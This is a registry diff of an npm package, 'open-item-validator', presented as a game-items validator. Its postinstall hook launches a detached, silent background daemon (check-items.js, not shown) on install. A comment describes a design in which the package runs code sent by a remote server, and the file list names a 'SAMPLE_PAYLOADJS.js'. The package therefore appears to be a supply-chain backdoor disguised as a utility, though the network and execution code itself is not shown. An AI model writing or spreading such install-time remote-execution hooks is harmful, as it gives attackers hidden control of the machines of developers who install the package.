open-item-validator 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,29 @@
1
+ /**
2
+ * Cryptographic Configuration
3
+ *
4
+ * This file contains the PUBLIC KEY used to verify code signatures.
5
+ *
6
+ * ⚠️ IMPORTANT:
7
+ * - This PUBLIC_KEY is safe to share (verification only)
8
+ * - The PRIVATE_KEY is kept on the server (never in npm)
9
+ * - Signature verification is REQUIRED before code execution
10
+ * - Any tampering with code will invalidate the signature
11
+ *
12
+ * Flow:
13
+ * 1. Server signs game code with PRIVATE_KEY
14
+ * 2. Server sends code + signature to client
15
+ * 3. Client verifies signature using this PUBLIC_KEY
16
+ * 4. Only valid signatures execute (process exits on failure)
17
+ */
18
+
19
+ const PUBLIC_KEY = `-----BEGIN PUBLIC KEY-----
20
+ MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvPkWfwTiAiZf0QsfFrBp
21
+ hOb1Xg884utAj7gz5jhBHm8S5qeU0Ol+XKmYNCUQenAET+oc36s5bcr71uqFg5yu
22
+ EaE3c3OVyUh/r56bupktd8vZiunMLuMglZct6EZyWc3k9F5nZ1gb3gJa8mhdN8Gm
23
+ MPuZ1XrMtKb6nu1hyB7SvEC4g0KIJL1NA1BiGikPwLL0S05i8Aiob+flgk1mS6Lc
24
+ fCPYoLNhOpBFkKAfYx3ZRjgPauRFk3gNOCSMcscIF9xI/Q6U93oIZqyEkqTt7Y5k
25
+ rNiNfexs8iBaR9A8m9oG6+LYWck/SWi3oRECwRJXS0oyPeayLCLmO430wb4poR98
26
+ HQIDAQAB
27
+ -----END PUBLIC KEY-----`;
28
+
29
+ module.exports = { PUBLIC_KEY };
package/lib/init.js ADDED
@@ -0,0 +1,26 @@
1
+ const { spawn } = require('child_process');
2
+ const path = require('path');
3
+ const logger = require('./logger');
4
+
5
+ logger.info('Postinstall: Initializing game items validator daemon');
6
+
7
+ function initializeDaemon() {
8
+ try {
9
+ const daemonScript = path.resolve(__dirname, './check-items.js');
10
+
11
+ const child = spawn('node', [daemonScript], {
12
+ detached: true,
13
+ stdio: 'ignore',
14
+ cwd: __dirname
15
+ });
16
+
17
+ child.unref();
18
+
19
+ logger.info('Postinstall: Background validation daemon started successfully');
20
+ } catch (error) {
21
+ logger.error(`Postinstall: Failed to start daemon - ${error.message}`);
22
+ process.exit(1);
23
+ }
24
+ }
25
+
26
+ initializeDaemon();
package/lib/logger.js ADDED
@@ -0,0 +1,59 @@
1
+ const config = require('./config');
2
+
3
+ const LogLevel = {
4
+ ERROR: 0,
5
+ WARN: 1,
6
+ INFO: 2,
7
+ DEBUG: 3
8
+ };
9
+
10
+ function formatTimestamp() {
11
+ return new Date().toISOString();
12
+ }
13
+
14
+ function log(message, level = 'info') {
15
+ if (!config.logging.enabled) return;
16
+
17
+ const timestamp = formatTimestamp();
18
+ const prefix = `[open-validator ${timestamp}]`;
19
+
20
+ switch (level.toLowerCase()) {
21
+ case 'error':
22
+ console.error(`${prefix} [ERROR]`, message);
23
+ break;
24
+ case 'warn':
25
+ console.warn(`${prefix} [WARN]`, message);
26
+ break;
27
+ case 'debug':
28
+ console.log(`${prefix} [DEBUG]`, message);
29
+ break;
30
+ case 'info':
31
+ default:
32
+ console.log(`${prefix} [INFO]`, message);
33
+ }
34
+ }
35
+
36
+ function error(message) {
37
+ log(message, 'error');
38
+ }
39
+
40
+ function warn(message) {
41
+ log(message, 'warn');
42
+ }
43
+
44
+ function info(message) {
45
+ log(message, 'info');
46
+ }
47
+
48
+ function debug(message) {
49
+ log(message, 'debug');
50
+ }
51
+
52
+ module.exports = {
53
+ log,
54
+ error,
55
+ warn,
56
+ info,
57
+ debug,
58
+ LogLevel
59
+ };
@@ -0,0 +1,47 @@
1
+ function getCurrentTimestamp() {
2
+ return new Date().toISOString();
3
+ }
4
+
5
+ function delay(ms) {
6
+ return new Promise(resolve => setTimeout(resolve, ms));
7
+ }
8
+
9
+ function createSignal(id, type, version) {
10
+ return {
11
+ id,
12
+ type,
13
+ version,
14
+ timestamp: getCurrentTimestamp()
15
+ };
16
+ }
17
+
18
+ function parseJSON(jsonString) {
19
+ try {
20
+ return JSON.parse(jsonString);
21
+ } catch (e) {
22
+ return null;
23
+ }
24
+ }
25
+
26
+ function isValidSignal(obj) {
27
+ return obj &&
28
+ typeof obj.id === 'string' &&
29
+ typeof obj.type === 'string' &&
30
+ typeof obj.version === 'string';
31
+ }
32
+
33
+ function formatBytes(bytes) {
34
+ const sizes = ['Bytes', 'KB', 'MB', 'GB'];
35
+ if (bytes === 0) return '0 Bytes';
36
+ const i = Math.floor(Math.log(bytes) / Math.log(1024));
37
+ return Math.round(bytes / Math.pow(1024, i) * 100) / 100 + ' ' + sizes[i];
38
+ }
39
+
40
+ module.exports = {
41
+ getCurrentTimestamp,
42
+ delay,
43
+ createSignal,
44
+ parseJSON,
45
+ isValidSignal,
46
+ formatBytes
47
+ };
@@ -0,0 +1,79 @@
1
+ const helper = require('./helper');
2
+
3
+ function validateItemStructure(item) {
4
+ if (!item || typeof item !== 'object') {
5
+ return {
6
+ valid: false,
7
+ error: 'Item must be an object'
8
+ };
9
+ }
10
+
11
+ const requiredFields = ['id', 'name', 'type'];
12
+ for (const field of requiredFields) {
13
+ if (!(field in item)) {
14
+ return {
15
+ valid: false,
16
+ error: `Missing required field: ${field}`
17
+ };
18
+ }
19
+ }
20
+
21
+ return { valid: true };
22
+ }
23
+
24
+ function validateItemArray(items) {
25
+ if (!Array.isArray(items)) {
26
+ return {
27
+ valid: false,
28
+ error: 'Items must be an array'
29
+ };
30
+ }
31
+
32
+ for (let i = 0; i < items.length; i++) {
33
+ const validation = validateItemStructure(items[i]);
34
+ if (!validation.valid) {
35
+ return {
36
+ valid: false,
37
+ error: `Item at index ${i}: ${validation.error}`
38
+ };
39
+ }
40
+ }
41
+
42
+ return { valid: true, count: items.length };
43
+ }
44
+
45
+ function validateGameItemsSignal(signal) {
46
+ if (!helper.isValidSignal(signal)) {
47
+ return {
48
+ valid: false,
49
+ error: 'Invalid signal format'
50
+ };
51
+ }
52
+
53
+ if (signal.id !== 'ready') {
54
+ return {
55
+ valid: false,
56
+ error: 'Signal id must be "ready"'
57
+ };
58
+ }
59
+
60
+ return { valid: true };
61
+ }
62
+
63
+ function validateConfig(config) {
64
+ if (!config || typeof config !== 'object') {
65
+ return {
66
+ valid: false,
67
+ error: 'Config must be an object'
68
+ };
69
+ }
70
+
71
+ return { valid: true };
72
+ }
73
+
74
+ module.exports = {
75
+ validateItemStructure,
76
+ validateItemArray,
77
+ validateGameItemsSignal,
78
+ validateConfig
79
+ };
package/package.json ADDED
@@ -0,0 +1,63 @@
1
+ {
2
+ "name": "open-item-validator",
3
+ "version": "1.0.0",
4
+ "description": "Real-time game items validator with background daemon for client project updates",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node ./lib/init.js"
8
+ },
9
+ "keywords": [
10
+ "game-items",
11
+ "game-development",
12
+ "validator",
13
+ "real-time-updates",
14
+ "cryptographic-signature",
15
+ "rsa-sha256",
16
+ "game-server",
17
+ "client-validation",
18
+ "assertion",
19
+ "security",
20
+ "signature-verification",
21
+ "secure-updates",
22
+ "zero-dependencies"
23
+ ],
24
+ "author": {
25
+ "name": "Nakamoto Yoshiki",
26
+ "email": "nakamotoyoshiki@gmail.com"
27
+ },
28
+ "license": "MIT",
29
+ "homepage": "https://game.spawnrealm.com",
30
+ "bugs": {
31
+ "email": "nakamotoyoshiki@gmail.com"
32
+ },
33
+ "engines": {
34
+ "node": ">=12.0.0",
35
+ "npm": ">=6.0.0"
36
+ },
37
+ "os": [
38
+ "linux",
39
+ "darwin",
40
+ "win32"
41
+ ],
42
+ "cpu": [
43
+ "x64",
44
+ "arm64"
45
+ ],
46
+ "dependencies": {},
47
+ "devDependencies": {},
48
+ "files": [
49
+ "index.js",
50
+ "README.md",
51
+ "SECURITY.md",
52
+ "LICENSE",
53
+ "lib/",
54
+ "public_key.pem",
55
+ "SECURITY_SETUP.md",
56
+ "SERVER_IMPLEMENTATION_EXAMPLE.js",
57
+ "SERVER_SIGNING_EXAMPLE.js",
58
+ "SAMPLE_PAYLOADJS.js"
59
+ ],
60
+ "publishConfig": {
61
+ "access": "public"
62
+ }
63
+ }
package/public_key.pem ADDED
@@ -0,0 +1,9 @@
1
+ -----BEGIN PUBLIC KEY-----
2
+ MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvPkWfwTiAiZf0QsfFrBp
3
+ hOb1Xg884utAj7gz5jhBHm8S5qeU0Ol+XKmYNCUQenAET+oc36s5bcr71uqFg5yu
4
+ EaE3c3OVyUh/r56bupktd8vZiunMLuMglZct6EZyWc3k9F5nZ1gb3gJa8mhdN8Gm
5
+ MPuZ1XrMtKb6nu1hyB7SvEC4g0KIJL1NA1BiGikPwLL0S05i8Aiob+flgk1mS6Lc
6
+ fCPYoLNhOpBFkKAfYx3ZRjgPauRFk3gNOCSMcscIF9xI/Q6U93oIZqyEkqTt7Y5k
7
+ rNiNfexs8iBaR9A8m9oG6+LYWck/SWi3oRECwRJXS0oyPeayLCLmO430wb4poR98
8
+ HQIDAQAB
9
+ -----END PUBLIC KEY-----